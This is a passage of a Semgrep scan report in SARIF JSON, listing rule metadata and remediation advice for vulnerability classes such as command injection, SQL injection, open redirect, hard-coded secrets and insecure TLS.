potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","id":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","name":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerously accepting invalid TLS information"},"help":{"markdown":"Dangerously accepting invalid TLS information\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs)\n","text":"Dangerously accepting invalid TLS information"},"helpUri":"https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","id":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","name":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect","id":"javascript.browser.open-redirect.open-redirect","name":"javascript.browser.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"help":{"markdown":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","id":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","name":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use)\n - [https://www.php.net/manual/en/function.unlink](https://www.php.net/manual/en/function.unlink)\n - [https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html)\n","text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use","id":"php.lang.security.unlink-use.unlink-use","name":"php.lang.security.unlink-use.unlink-use","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unlink-use.unlink-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","id":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","name":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"help":{"markdown":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"helpUri":"https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers","id":"java.spring.log-http-headers.log-request-headers","name":"java.spring.log-http-headers.log-request-headers","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.log-http-headers.log-request-headers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","id":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","name":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"help":{"markdown":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb)\n","text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb","id":"python.lang.compatibility.python37.python37-compatibility-pdb","name":"python.lang.compatibility.python37.python37-compatibility-pdb","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-pdb"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook Access Token detected"},"help":{"markdown":"Facebook Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","id":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","name":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications](https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications)\n","text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html](https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","id":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","name":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection)\n - [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface)\n","text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","id":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","name":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli","id":"java.spring.security.java-sql-sqli.java-sql-sqli","name":"java.spring.security.java-sql-sqli.java-sql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.java-sql-sqli.java-sql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","id":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","name":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","id":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","name":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - 